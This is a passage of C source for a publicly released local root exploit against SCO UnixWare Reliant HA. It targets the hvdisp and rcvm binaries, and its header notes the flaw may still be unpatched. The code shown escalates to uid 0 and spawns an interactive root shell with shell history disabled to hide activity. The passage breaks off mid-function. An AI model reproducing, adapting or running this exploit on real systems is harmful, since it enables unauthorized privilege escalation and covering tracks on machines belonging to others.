Unixware utilities buffer overflow

/* 04/2008: public release * I have'nt seen any advisory on this; possibly still not fixed. * * SCO UnixWare Reliant HA Local Root Exploit * By qaaz */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <fcntl.h> #define TGT1 "/usr/opt/reliant/bin/hvdisp" #define TGT2 "/usr/opt/reliant/bin/rcvm" #define DIR "bin" #define BIN DIR "/hvenv" int main(int argc, char *argv[]) { char self[4096], *target; pid_t child; if (geteuid() == 0) { setuid(geteuid()); dup2(3, 0); dup2(4, 1); dup2(5, 2); if ((child = fork()) == 0) { putenv("HISTFILE=/dev/null"); execl("/bin/sh", "sh", "-i", NULL); printf("[-] sh: %s\n", strerror(errno)); } else if (child != -1) waitpid(child,